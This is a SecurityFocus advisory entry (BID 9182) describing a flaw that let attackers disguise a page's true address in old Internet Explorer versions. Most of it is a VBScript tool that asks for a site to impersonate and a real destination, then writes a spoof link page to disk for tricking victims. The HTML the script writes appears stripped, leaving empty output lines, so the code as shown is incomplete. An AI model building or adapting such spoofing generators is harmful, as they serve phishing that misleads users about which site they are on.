source: https://www.securityfocus.com/bid/9182/info
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
On Error Resume Next
PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - https://www.securityfocus.com/bid/9182)"
Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")
If Ok2Run = vbyes Then
Do While strFileName = ""
strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
Loop
Do While strSpoofSite = ""
strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
Loop
Do While strRealSite = ""
strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
Loop
Do While strLinkText = ""
strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
Loop
Err.Clear
CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
If Err.Number = 0 then
MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
Else
MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
Err.Clear
End if
Else
MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If
Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\" & strFileName, True)
a.WriteLine("")
a.WriteLine("Exploit Page for BID 9182 (https://www.securityfocus.com/bid/9182)")
a.WriteLine("")
strExploitLine = "" & strLinkText & ""
a.WriteLine(strExploitLine)
a.WriteLine("")
a.WriteLine("")
a.Close
End Sub